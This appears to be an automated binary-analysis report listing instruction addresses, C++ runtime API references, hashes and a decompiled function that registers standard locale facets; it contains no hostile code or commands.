0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f
0x0048c513
0x0048c513
0x0048c516
0x0048c51a
0x0048c51e
0x0048c52b
0x0048c533
0x0048c535
0x00000000
0x0048c535
0x0048c4fc
0x0048c4fc
0x00000000
0x0048c4fc
0x0048c4fa
0x0048c47e
0x0048c47e
0x0048c481
0x0048c485
0x0048c489
0x0048c496
0x0048c49e
0x0048c4a0
0x00000000
0x0048c4a0
0x0048c467
0x0048c467
0x00000000
0x0048c467
0x0048c465
0x0048c3e9
0x0048c3e9
0x0048c3ec
0x0048c3f0
0x0048c3f4
0x0048c401
0x0048c409
0x0048c40b
0x00000000
0x0048c40b
0x0048c3d2
0x0048c3d2
0x00000000
0x0048c3d2
0x0048c3d0
0x0048c354
0x0048c354
0x0048c357
0x0048c35b
0x0048c35f
0x0048c36c
0x0048c374
0x0048c376
0x00000000
0x0048c376
0x0048c33d
0x0048c33d
0x00000000
0x0048c33d
0x0048c33b

APIs

__EH_prolog3.LIBCMT ref: 0048C304
std::_Lockit::_Lockit.LIBCPMT ref: 0048C30E

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

collate.LIBCPMT ref: 0048C348
std::_Facet_Register.LIBCPMT ref: 0048C35F
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C37F
Concurrency::cancel_current_task.LIBCPMT ref: 0048C38C

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercollate
String ID:
API String ID: 573010341-0
Opcode ID: 861243e1b40f4f5d8644a9a4d2485914ea0786fc84b9d1768308d0f4417d1a5b
Instruction ID: 5a85bc5e0a4dc8438c54092ff9485234fb8d1cfe33051ea2e634e47832a3e707
Opcode Fuzzy Hash: 861243e1b40f4f5d8644a9a4d2485914ea0786fc84b9d1768308d0f4417d1a5b
Instruction Fuzzy Hash: B001C431D005158BCB05FB65D8556BE7761AF54314F14481FE8106B382CF7C9D01CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0048C392, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C392(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v260;
				signed int _t273;
				void* _t509;
				short* _t733;
				void* _t800;
				void* _t801;
				signed int _t803;
				signed int _t804;
				signed int _t805;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				signed int _t810;
				signed int _t811;
				signed int _t812;
				signed int _t813;
				signed int _t814;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t818;
				signed int _t819;
				signed int _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				void* _t824;
				signed int _t825;
				signed int _t826;
				signed int _t827;
				signed int _t828;
				signed int _t829;
				signed int _t830;
				signed int _t831;
				signed int _t832;
				signed int _t833;
				signed int _t834;
				signed int _t835;
				signed int _t836;
				signed int _t837;
				signed int _t838;
				signed int _t839;
				signed int _t840;
				signed int _t841;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				short* _t847;
				void* _t874;
				void* _t875;

				_push(8);
				L0049D90B(0x4d6966, _t801, _t824);
				L00488DEA( &_v20, 0);
				_t825 =  *0x4edddc; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t825;
				_t273 = E0042B315(_a8, E0042B22E(0x4edd88, _t801, _t825, _t875));
				_t802 = _t273;
				if(_t273 != 0) {
					L5:
					L00488E42( &_v20);
					return L0049D8D4(_t802);
				} else {
					if(_t825 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = L0048DED3(_t800, _t802, _t825, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							L0049D90B(0x4d6966, _t802, _t825);
							L00488DEA( &_v20, 0);
							_t826 =  *0x4eddfc; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t826;
							_t803 = E0042B315(_a8, E0042B22E(0x4ed910, _t802, _t826, __eflags));
							__eflags = _t803;
							if(_t803 != 0) {
								L12:
								L00488E42( &_v20);
								return L0049D8D4(_t803);
							} else {
								__eflags = _t826;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = L0048DF75(_t803, _t826, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										L0049D90B(0x4d6966, _t803, _t826);
										L00488DEA( &_v20, 0);
										_t827 =  *0x4ede10; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t827;
										_t804 = E0042B315(_a8, E0042B22E(0x4eddb4, _t803, _t827, __eflags));
										__eflags = _t804;
										if(_t804 != 0) {
											L19:
											L00488E42( &_v20);
											return L0049D8D4(_t804);
										} else {
											__eflags = _t827;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = L0048DFE5(_t804, _t827, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													L0049D90B(0x4d6966, _t804, _t827);
													L00488DEA( &_v20, 0);
													_t828 =  *0x4edde0; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t828;
													_t805 = E0042B315(_a8, E0042B22E(0x4edd8c, _t804, _t828, __eflags));
													__eflags = _t805;
													if(_t805 != 0) {
														L26:
														L00488E42( &_v20);
														return L0049D8D4(_t805);
													} else {
														__eflags = _t828;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E04D(_t805, _t828, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																L0049D90B(0x4d6966, _t805, _t828);
																L00488DEA( &_v20, 0);
																_t829 =  *0x4ede14; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t829;
																_t806 = E0042B315(_a8, E0042B22E(0x4eddb8, _t805, _t829, __eflags));
																__eflags = _t806;
																if(_t806 != 0) {
																	L33:
																	L00488E42( &_v20);
																	return L0049D8D4(_t806);
																} else {
																	__eflags = _t829;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E0B5(_t806, _t829, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			L0049D90B(0x4d6966, _t806, _t829);
																			L00488DEA( &_v20, 0);
																			_t830 =  *0x4edde4; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t830;
																			_t807 = E0042B315(_a8, E0042B22E(0x4edd90, _t806, _t830, __eflags));
																			__eflags = _t807;
																			if(_t807 != 0) {
																				L40:
																				L00488E42( &_v20);
																				return L0049D8D4(_t807);
																			} else {
																				__eflags = _t830;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E11D(_t807, _t830, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						L0049D90B(0x4d6966, _t807, _t830);
																						L00488DEA( &_v20, 0);
																						_t831 =  *0x4ede18; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t831;
																						_t808 = E0042B315(_a8, E0042B22E(0x4eddbc, _t807, _t831, __eflags));
																						__eflags = _t808;
																						if(_t808 != 0) {
																							L47:
																							L00488E42( &_v20);
																							return L0049D8D4(_t808);
																						} else {
																							__eflags = _t831;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E185(_t808, _t831, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									L0049D90B(0x4d6966, _t808, _t831);
																									L00488DEA( &_v20, 0);
																									_t832 =  *0x4edde8; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t832;
																									_t809 = E0042B315(_a8, E0042B22E(0x4edd94, _t808, _t832, __eflags));
																									__eflags = _t809;
																									if(_t809 != 0) {
																										L54:
																										L00488E42( &_v20);
																										return L0049D8D4(_t809);
																									} else {
																										__eflags = _t832;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E1ED(_t809, _t832, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												L0049D90B(0x4d6966, _t809, _t832);
																												L00488DEA( &_v20, 0);
																												_t833 =  *0x4ede20;
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t833;
																												_t810 = E0042B315(_a8, E0042B22E(0x4eddc4, _t809, _t833, __eflags));
																												__eflags = _t810;
																												if(_t810 != 0) {
																													L61:
																													L00488E42( &_v20);
																													return L0049D8D4(_t810);
																												} else {
																													__eflags = _t833;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E255(_t810, _t833, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															L0049D90B(0x4d6966, _t810, _t833);
																															L00488DEA( &_v20, 0);
																															_t834 =  *0x4ede1c;
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t834;
																															_t811 = E0042B315(_a8, E0042B22E(0x4eddc0, _t810, _t834, __eflags));
																															__eflags = _t811;
																															if(_t811 != 0) {
																																L68:
																																L00488E42( &_v20);
																																return L0049D8D4(_t811);
																															} else {
																																__eflags = _t834;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E2D9(_t811, _t834, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		L0049D90B(0x4d6966, _t811, _t834);
																																		L00488DEA( &_v20, 0);
																																		_t835 =  *0x4eddf0;
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t835;
																																		_t812 = E0042B315(_a8, E0042B22E(0x4edd9c, _t811, _t835, __eflags));
																																		__eflags = _t812;
																																		if(_t812 != 0) {
																																			L75:
																																			L00488E42( &_v20);
																																			return L0049D8D4(_t812);
																																		} else {
																																			__eflags = _t835;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E35E(_t812, _t835, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					L0049D90B(0x4d6966, _t812, _t835);
																																					L00488DEA( &_v20, 0);
																																					_t836 =  *0x4eddec;
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t836;
																																					_t813 = E0042B315(_a8, E0042B22E(0x4edd98, _t812, _t836, __eflags));
																																					__eflags = _t813;
																																					if(_t813 != 0) {
																																						L82:
																																						L00488E42( &_v20);
																																						return L0049D8D4(_t813);
																																					} else {
																																						__eflags = _t836;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E3E2(_t813, _t836, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								L0049D90B(0x4d6966, _t813, _t836);
																																								L00488DEA( &_v20, 0);
																																								_t837 =  *0x4ede00;
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t837;
																																								_t814 = E0042B315(_a8, E0042B22E(0x4edda4, _t813, _t837, __eflags));
																																								__eflags = _t814;
																																								if(_t814 != 0) {
																																									L89:
																																									L00488E42( &_v20);
																																									return L0049D8D4(_t814);
																																								} else {
																																									__eflags = _t837;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E467(_t814, _t837, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											L0049D90B(0x4d6966, _t814, _t837);
																																											L00488DEA( &_v20, 0);
																																											_t838 =  *0x4eddd0;
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t838;
																																											_t815 = E0042B315(_a8, E0042B22E(0x4edd7c, _t814, _t838, __eflags));
																																											__eflags = _t815;
																																											if(_t815 != 0) {
																																												L96:
																																												L00488E42( &_v20);
																																												return L0049D8D4(_t815);
																																											} else {
																																												__eflags = _t838;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E4CF(_t815, _t838, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														L0049D90B(0x4d6966, _t815, _t838);
																																														L00488DEA( &_v20, 0);
																																														_t839 =  *0x4ede04;
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t839;
																																														_t816 = E0042B315(_a8, E0042B22E(0x4edda8, _t815, _t839, __eflags));
																																														__eflags = _t816;
																																														if(_t816 != 0) {
																																															L103:
																																															L00488E42( &_v20);
																																															return L0049D8D4(_t816);
																																														} else {
																																															__eflags = _t839;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E537(_t816, _t839, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	L0049D90B(0x4d6966, _t816, _t839);
																																																	L00488DEA( &_v20, 0);
																																																	_t840 =  *0x4eddd4;
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t840;
																																																	_t817 = E0042B315(_a8, E0042B22E(0x4edd80, _t816, _t840, __eflags));
																																																	__eflags = _t817;
																																																	if(_t817 != 0) {
																																																		L110:
																																																		L00488E42( &_v20);
																																																		return L0049D8D4(_t817);
																																																	} else {
																																																		__eflags = _t840;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E59F(_t817, _t840, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				L0049D90B(0x4d6966, _t817, _t840);
																																																				L00488DEA( &_v20, 0);
																																																				_t841 =  *0x4ede08;
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t841;
																																																				_t818 = E0042B315(_a8, E0042B22E(0x4eddac, _t817, _t841, __eflags));
																																																				__eflags = _t818;
																																																				if(_t818 != 0) {
																																																					L117:
																																																					L00488E42( &_v20);
																																																					return L0049D8D4(_t818);
																																																				} else {
																																																					__eflags = _t841;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E0048E607(_t818, _t841, __eflags) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(8);
																																																							L0049D90B(0x4d6966, _t818, _t841);
																																																							L00488DEA( &_v20, 0);
																																																							_t842 =  *0x4eddd8;
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t842;
																																																							_t819 = E0042B315(_a8, E0042B22E(0x4edd84, _t818, _t842, __eflags));
																																																							__eflags = _t819;
																																																							if(_t819 != 0) {
																																																								L124:
																																																								L00488E42( &_v20);
																																																								return L0049D8D4(_t819);
																																																							} else {
																																																								__eflags = _t842;
																																																								if(__eflags == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									__eflags = E0048E682(_t819, _t842, __eflags) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E0042B042(__eflags);
																																																										asm("int3");
																																																										_push(8);
																																																										L0049D90B(0x4d6966, _t819, _t842);
																																																										L00488DEA( &_v20, 0);
																																																										_t843 =  *0x4ede24;
																																																										_v4 = _v4 & 0x00000000;
																																																										_v16 = _t843;
																																																										_t820 = E0042B315(_a8, E0042B22E(0x4eddc8, _t819, _t843, __eflags));
																																																										__eflags = _t820;
																																																										if(_t820 != 0) {
																																																											L131:
																																																											L00488E42( &_v20);
																																																											return L0049D8D4(_t820);
																																																										} else {
																																																											__eflags = _t843;
																																																											if(__eflags == 0) {
																																																												_push(_a8);
																																																												_push( &_v16);
																																																												__eflags = E0048E6FD(_t820, _t843, __eflags) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E0042B042(__eflags);
																																																													asm("int3");
																																																													_push(8);
																																																													L0049D90B(0x4d6966, _t820, _t843);
																																																													L00488DEA( &_v20, 0);
																																																													_t844 =  *0x4eddf4;
																																																													_v4 = _v4 & 0x00000000;
																																																													_v16 = _t844;
																																																													_t821 = E0042B315(_a8, E0042B22E(0x4edda0, _t820, _t844, __eflags));
																																																													__eflags = _t821;
																																																													if(_t821 != 0) {
																																																														L138:
																																																														L00488E42( &_v20);
																																																														return L0049D8D4(_t821);
																																																													} else {
																																																														__eflags = _t844;
																																																														if(__eflags == 0) {
																																																															_push(_a8);
																																																															_push( &_v16);
																																																															__eflags = E0048E769(_t821, _t844, __eflags) - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																E0042B042(__eflags);
																																																																asm("int3");
																																																																_push(8);
																																																																L0049D90B(0x4d6966, _t821, _t844);
																																																																L00488DEA( &_v20, 0);
																																																																_t845 =  *0x4ede28;
																																																																_v4 = _v4 & 0x00000000;
																																																																_v16 = _t845;
																																																																_t822 = E0042B315(_a8, E0042B22E(0x4eddcc, _t821, _t845, __eflags));
																																																																__eflags = _t822;
																																																																if(_t822 != 0) {
																																																																	L145:
																																																																	L00488E42( &_v20);
																																																																	return L0049D8D4(_t822);
																																																																} else {
																																																																	__eflags = _t845;
																																																																	if(__eflags == 0) {
																																																																		_push(_a8);
																																																																		_push( &_v16);
																																																																		__eflags = E0048E7D5(_t822, _t845, __eflags) - 0xffffffff;
																																																																		if(__eflags == 0) {
																																																																			E0042B042(__eflags);
																																																																			asm("int3");
																																																																			_push(8);
																																																																			L0049D90B(0x4d6966, _t822, _t845);
																																																																			L00488DEA( &_v20, 0);
																																																																			_t846 =  *0x4eddf8;
																																																																			_v4 = _v4 & 0x00000000;
																																																																			_v16 = _t846;
																																																																			_t823 = E0042B315(_a8, E0042B22E(0x4edd78, _t822, _t846, __eflags));
																																																																			__eflags = _t823;
																																																																			if(_t823 != 0) {
																																																																				L152:
																																																																				L00488E42( &_v20);
																																																																				return L0049D8D4(_t823);
																																																																			} else {
																																																																				__eflags = _t846;
																																																																				if(__eflags == 0) {
																																																																					_push(_a8);
																																																																					_push( &_v16);
																																																																					_t509 = E0048E849(_t823, _t846, __eflags);
																																																																					_pop(_t733);
																																																																					__eflags = _t509 - 0xffffffff;
																																																																					if(__eflags == 0) {
																																																																						E0042B042(__eflags);
																																																																						asm("int3");
																																																																						_push(_t846);
																																																																						_t847 = _t733;
																																																																						_t266 = _t847 + 0x10;
																																																																						 *_t266 =  *(_t847 + 0x10) & 0x00000000;
																																																																						__eflags =  *_t266;
																																																																						 *((intOrPtr*)(_t847 + 0x14)) = 7;
																																																																						 *_t847 = 0;
																																																																						L00494BE0( *((intOrPtr*)(_t874 + 8)));
																																																																						return _t847;
																																																																					} else {
																																																																						_t823 = _v16;
																																																																						_v16 = _t823;
																																																																						_v4 = 1;
																																																																						E0048919D(_t823);
																																																																						 *0x4f02b4();
																																																																						 *((intOrPtr*)( *((intOrPtr*)( *_t823 + 4))))();
																																																																						 *0x4eddf8 = _t823;
																																																																						goto L152;
																																																																					}
																																																																				} else {
																																																																					_t823 = _t846;
																																																																					goto L152;
																																																																				}
																																																																			}
																																																																		} else {
																																																																			_t822 = _v16;
																																																																			_v16 = _t822;
																																																																			_v4 = 1;
																																																																			E0048919D(_t822);
																																																																			 *0x4f02b4();
																																																																			 *((intOrPtr*)( *((intOrPtr*)( *_t822 + 4))))();
																																																																			 *0x4ede28 = _t822;
																																																																			goto L145;
																																																																		}
																																																																	} else {
																																																																		_t822 = _t845;
																																																																		goto L145;
																																																																	}
																																																																}
																																																															} else {
																																																																_t821 = _v16;
																																																																_v16 = _t821;
																																																																_v4 = 1;
																																																																E0048919D(_t821);
																																																																 *0x4f02b4();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t821 + 4))))();
																																																																 *0x4eddf4 = _t821;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t821 = _t844;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t820 = _v16;
																																																													_v16 = _t820;
																																																													_v4 = 1;
																																																													E0048919D(_t820);
																																																													 *0x4f02b4();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t820 + 4))))();
																																																													 *0x4ede24 = _t820;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t820 = _t843;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t819 = _v16;
																																																										_v16 = _t819;
																																																										_v4 = 1;
																																																										E0048919D(_t819);
																																																										 *0x4f02b4();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t819 + 4))))();
																																																										 *0x4eddd8 = _t819;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t819 = _t842;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t818 = _v16;
																																																							_v16 = _t818;
																																																							_v4 = 1;
																																																							E0048919D(_t818);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t818 + 4))))();
																																																							 *0x4ede08 = _t818;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t818 = _t841;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t817 = _v16;
																																																				_v16 = _t817;
																																																				_v4 = 1;
																																																				E0048919D(_t817);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t817 + 4))))();
																																																				 *0x4eddd4 = _t817;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t817 = _t840;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t816 = _v16;
																																																	_v16 = _t816;
																																																	_v4 = 1;
																																																	E0048919D(_t816);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t816 + 4))))();
																																																	 *0x4ede04 = _t816;
																																																	goto L103;
																																																}
																																															} else {
																																																_t816 = _t839;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t815 = _v16;
																																														_v16 = _t815;
																																														_v4 = 1;
																																														E0048919D(_t815);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t815 + 4))))();
																																														 *0x4eddd0 = _t815;
																																														goto L96;
																																													}
																																												} else {
																																													_t815 = _t838;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t814 = _v16;
																																											_v16 = _t814;
																																											_v4 = 1;
																																											E0048919D(_t814);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t814 + 4))))();
																																											 *0x4ede00 = _t814;
																																											goto L89;
																																										}
																																									} else {
																																										_t814 = _t837;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t813 = _v16;
																																								_v16 = _t813;
																																								_v4 = 1;
																																								E0048919D(_t813);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t813 + 4))))();
																																								 *0x4eddec = _t813;
																																								goto L82;
																																							}
																																						} else {
																																							_t813 = _t836;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t812 = _v16;
																																					_v16 = _t812;
																																					_v4 = 1;
																																					E0048919D(_t812);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t812 + 4))))();
																																					 *0x4eddf0 = _t812;
																																					goto L75;
																																				}
																																			} else {
																																				_t812 = _t835;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t811 = _v16;
																																		_v16 = _t811;
																																		_v4 = 1;
																																		E0048919D(_t811);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t811 + 4))))();
																																		 *0x4ede1c = _t811;
																																		goto L68;
																																	}
																																} else {
																																	_t811 = _t834;
																																	goto L68;
																																}
																															}
																														} else {
																															_t810 = _v16;
																															_v16 = _t810;
																															_v4 = 1;
																															E0048919D(_t810);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t810 + 4))))();
																															 *0x4ede20 = _t810;
																															goto L61;
																														}
																													} else {
																														_t810 = _t833;
																														goto L61;
																													}
																												}
																											} else {
																												_t809 = _v16;
																												_v16 = _t809;
																												_v4 = 1;
																												E0048919D(_t809);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t809 + 4))))();
																												 *0x4edde8 = _t809;
																												goto L54;
																											}
																										} else {
																											_t809 = _t832;
																											goto L54;
																										}
																									}
																								} else {
																									_t808 = _v16;
																									_v16 = _t808;
																									_v4 = 1;
																									E0048919D(_t808);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t808 + 4))))();
																									 *0x4ede18 = _t808;
																									goto L47;
																								}
																							} else {
																								_t808 = _t831;
																								goto L47;
																							}
																						}
																					} else {
																						_t807 = _v16;
																						_v16 = _t807;
																						_v4 = 1;
																						E0048919D(_t807);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t807 + 4))))();
																						 *0x4edde4 = _t807;
																						goto L40;
																					}
																				} else {
																					_t807 = _t830;
																					goto L40;
																				}
																			}
																		} else {
																			_t806 = _v16;
																			_v16 = _t806;
																			_v4 = 1;
																			E0048919D(_t806);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t806 + 4))))();
																			 *0x4ede14 = _t806;
																			goto L33;
																		}
																	} else {
																		_t806 = _t829;
																		goto L33;
																	}
																}
															} else {
																_t805 = _v16;
																_v16 = _t805;
																_v4 = 1;
																E0048919D(_t805);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t805 + 4))))();
																 *0x4edde0 = _t805;
																goto L26;
															}
														} else {
															_t805 = _t828;
															goto L26;
														}
													}
												} else {
													_t804 = _v16;
													_v16 = _t804;
													_v4 = 1;
													E0048919D(_t804);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t804 + 4))))();
													 *0x4ede10 = _t804;
													goto L19;
												}
											} else {
												_t804 = _t827;
												goto L19;
											}
										}
									} else {
										_t803 = _v16;
										_v16 = _t803;
										_v4 = 1;
										E0048919D(_t803);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t803 + 4))))();
										 *0x4eddfc = _t803;
										goto L12;
									}
								} else {
									_t803 = _t826;
									goto L12;
								}
							}
						} else {
							_t802 = _v16;
							_v16 = _t802;
							_v4 = 1;
							E0048919D(_t802);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t802 + 4))))();
							 *0x4edddc = _t802;
							goto L5;
						}
					} else {
						_t802 = _t825;
						goto L5;
					}
				}
			}

0x0048c392
0x0048c399
0x0048c3a3
0x0048c3a8
0x0048c3b3
0x0048c3b7
0x0048c3c3
0x0048c3c8
0x0048c3cc
0x0048c411
0x0048c414
0x0048c420
0x0048c3ce
0x0048c3d0
0x0048c3d6
0x0048c3dc
0x0048c3e4
0x0048c3e7
0x0048c421
0x0048c426
0x0048c427
0x0048c42e
0x0048c438
0x0048c43d
0x0048c448
0x0048c44c
0x0048c45d
0x0048c45f
0x0048c461
0x0048c4a6
0x0048c4a9
0x0048c4b5
0x0048c463
0x0048c463
0x0048c465
0x0048c46b
0x0048c471
0x0048c479
0x0048c47c
0x0048c4b6
0x0048c4bb
0x0048c4bc
0x0048c4c3
0x0048c4cd
0x0048c4d2
0x0048c4dd
0x0048c4e1
0x0048c4f2
0x0048c4f4
0x0048c4f6
0x0048c53b
